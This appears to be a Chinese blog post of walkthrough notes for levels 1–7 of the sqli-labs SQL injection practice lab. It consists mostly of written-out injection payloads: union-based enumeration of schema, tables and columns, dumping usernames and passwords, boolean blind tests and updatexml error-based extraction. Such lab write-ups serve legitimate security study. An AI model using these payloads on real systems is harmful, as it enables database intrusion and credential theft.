sqli(1-7)有待补充

这里我们主要看查询语句,图片就不展示了


第一关
?id=1'order by 3 --+
?id=-1'union select 1,2,3--+
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
不用单引号
第三关
一个单引号加一个括号
第四关
一个双引号加一个括号

第五关
布尔盲注
?id=1' and length(database())=8--+
?id=1' and left((select database()),1)='s'--+
?id=1' and right((select database()),8)='security'--+
用报错的一种方式
爆库
?id=1' and updatexml(1,concat(1,(select database()),1),1)--+
爆表
?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema = 'security'limit 0,1),1),1)--+
爆列名
?id=1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails'limit 0,1),1),1)--+
爆出字段的内容
?id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+
select到limit后面结束这里运用到子查询的方法,任何数据都会查出来,
上面这种查询只是一个一个查出来,下面这种就可以把所有的数据都查询出来
另外一种报错的方式
爆库
?id=1' union select 1,2, (updatexml(1,concat(1,database()),1))--+
爆表
?id=1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1))--+
爆列名第一张表
?id=1' union select 1,2, (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1))--+
爆字段
?id=1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1))--+
第六关
把第五关的单引号换成双引号
第七关

?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
不能用联合查询和报错注入,因为没有报错信息和显示位
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值